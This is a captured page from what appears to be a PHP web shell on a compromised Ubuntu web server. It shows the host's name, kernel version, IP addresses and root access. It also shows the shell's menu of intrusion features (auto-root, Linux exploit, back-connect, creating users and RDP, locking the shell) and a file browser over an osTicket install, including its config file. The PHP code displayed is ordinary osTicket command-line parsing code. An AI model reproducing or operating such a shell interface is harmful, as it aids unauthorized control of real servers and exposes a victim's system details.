Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.cli.php
<?php class Option { var $default = false; function __construct($options=false) { list($this->short, $this->long) = array_slice($options, 0, 2); $this->help = (isset($options['help'])) ? $options['help'] : ""; $this->action = (isset($options['action'])) ? $options['action'] : "store"; $this->dest = (isset($options['dest'])) ? $options['dest'] : substr($this->long, 2); $this->type = (isset($options['type'])) ? $options['type'] : 'string'; $this->const = (isset($options['const'])) ? $options['const'] : null; $this->default = (isset($options['default'])) ? $options['default'] : null; $this->metavar = (isset($options['metavar'])) ? $options['metavar'] : 'var'; $this->nargs = (isset($options['nargs'])) ? $options['nargs'] : 1; } function hasArg() { return $this->action != 'store_true' && $this->action != 'store_false'; } function handleValue(&$destination, $args) { $nargs = 0; $value = ($this->hasArg()) ? array_shift($args) : null; if ($value[0] == '-') $value = null; elseif ($value) $nargs = 1; switch ($this->type) { case 'int': $value = (int)$value; break; case 'bool': $value = strcasecmp($value, 'true') === 0 || ((int) $value); break; } switch ($this->action) { case 'store_true': $value = true; break; case 'store_false': $value = false; break; case 'store_const': $value = $this->const; break; case 'append': if (!isset($destination[$this->dest])) $destination[$this->dest] = array($value); else { $T = &$destination[$this->dest]; $T[] = $value; $value = $T; } break; case 'store': default: break; } $destination[$this->dest] = $value; return $nargs; } function toString() { $short = explode(':', $this->short); $long = explode(':', $this->long); if ($this->nargs === '?') $switches = sprintf(' %s [%3$s], %s[=%3$s]', $short[0], $long[0], $this->metavar); elseif ($this->hasArg()) $switches = sprintf(' %s %3$s, %s=%3$s', $short[0], $long[0], $this->metavar); else $switches = sprintf(" %s, %s", $short[0], $long[0]); $help = preg_replace('/\s+/', ' ', $this->help); if (strlen($switches) > 23) $help = "\n" . str_repeat(" ", 24) . $help; else $switches = str_pad($switches, 24); $help = wordwrap($help, 54, "\n" . str_repeat(" ", 24)); return $switches . $help; } } class OutputStream { var $stream; function __construct($stream) { if (!($this->stream = fopen($stream, 'w'))) throw new Exception(sprintf('%s: Cannot open for writing', $stream)); } function write($what) { fwrite($this->stream, $what); } } class Module { var $options = array(); var $arguments = array(); var $prologue = ""; var $epilog = ""; var $usage = '$script [options] $args [arguments]'; var $autohelp = true; var $module_name; var $stdout; var $stderr; var $_options; var $_args; function __construct() { $this->options['help'] = array("-h","--help", 'action'=>'store_true', 'help'=>"Display this help message"); foreach ($this->options as &$opt) $opt = new Option($opt); $this->stdout = new OutputStream('php://output'); $this->stderr = new OutputStream('php://stderr'); } function showHelp() { if ($this->prologue) echo $this->prologue . "\n\n"; global $argv; $manager = @$argv[0]; echo "Usage:\n"; echo " " . str_replace( array('$script', '$args'), array($manager ." ". $this->module_name, implode(' ', array_keys($this->arguments))), $this->usage) . "\n"; ksort($this->options); if ($this->options) { echo "\nOptions:\n"; foreach ($this->options as $name=>$opt) echo $opt->toString() . "\n"; } if ($this->arguments) { echo "\nArguments:\n"; foreach ($this->arguments as $name=>$help) { $extra = ''; if (is_array($help)) { if (isset($help['options']) && is_array($help['options'])) { foreach($help['options'] as $op=>$desc) $extra .= wordwrap( "\n $op - $desc", 76, "\n "); } $help = $help['help']; } echo $name . "\n " . wordwrap( preg_replace('/\s+/', ' ', $help), 76, "\n ") .$extra."\n"; } } if ($this->epilog) { echo "\n\n"; $epilog = preg_replace('/\s+/', ' ', $this->epilog); echo wordwrap($epilog, 76, "\n"); } echo "\n"; } function getOption($name, $default=false) { $this->parseOptions(); if (isset($this->_options[$name])) return $this->_options[$name]; elseif (isset($this->options[$name]) && $this->options[$name]->default) return $this->options[$name]->default; else return $default; } function getArgument($name, $default=false) { $this->parseOptions(); if (isset($this->_args[$name])) return $this->_args[$name]; return $default; } function parseOptions() { if (is_array($this->_options)) return; global $argv; list($this->_options, $this->_args) = $this->parseArgs(array_slice($argv, 1)); foreach (array_keys($this->arguments) as $idx=>$name) if (!isset($this->_args[$idx])) { $info = $this->arguments[$name]; if (!is_array($info) || !isset($info['required']) || $info['required']) $this->optionError($name . " is a required argument"); } elseif (is_array($this->arguments[$name]) && isset($this->arguments[$name]['options']) && !isset($this->arguments[$name]['options'][$this->_args[$idx]])) $this->optionError($name . " does not support such a value"); else $this->_args[$name] = &$this->_args[$idx]; foreach ($this->options as $name=>$opt) if (!isset($this->_options[$name])) $this->_options[$name] = $opt->default; if ($this->autohelp && $this->getOption('help')) { $this->showHelp(); die(); } } function optionError($error) { echo "Error: " . $error . "\n\n"; $this->showHelp(); die(); } function _run($module_name, $bootstrap=true) { $this->module_name = $module_name; if ($bootstrap) $this->bootstrap(); $this->parseOptions(); return $this->run($this->_args, $this->_options); } /* abstract */ function run($args, $options) { } function bootstrap() { Bootstrap::loadConfig(); Bootstrap::defineTables(TABLE_PREFIX); Bootstrap::loadCode(); } function fail($message) { $this->stderr->write($message . "\n"); die(); } /* static */ function register($action, $class) { global $registered_modules; $registered_modules[$action] = new $class(); } /* static */ function getInstance($action) { global $registered_modules; return $registered_modules[$action]; } function parseArgs($argv) { $options = $args = array(); $argv = array_slice($argv, 0); $more_opts = true; while ($arg = array_shift($argv)) { if (strpos($arg, '=') !== false) { list($arg, $value) = explode('=', $arg, 2); array_unshift($argv, $value); } if ($arg == '--') { $more_opts = false; continue; } // Allow multiple simple args like -Dvt if ($arg[0] == '-' && $arg[1] != '-' && strlen($arg) > 2) { foreach (str_split(substr($arg, 2)) as $O) array_unshift($argv, "-{$O}"); $arg = substr($arg, 0, 2); } $found = false; if ($more_opts && $arg[0] == '-') { foreach ($this->options as $opt) { if ($opt->short == $arg || $opt->long == $arg) { if ($nargs = $opt->handleValue($options, $argv)) while ($nargs--) array_shift($argv); $found = true; } } } if (!$found && (!$more_opts || $arg[0] != '-')) $args[] = $arg; // XXX else show help if $strict? } return array($options, $args); } } $registered_modules = array(); ?>
Close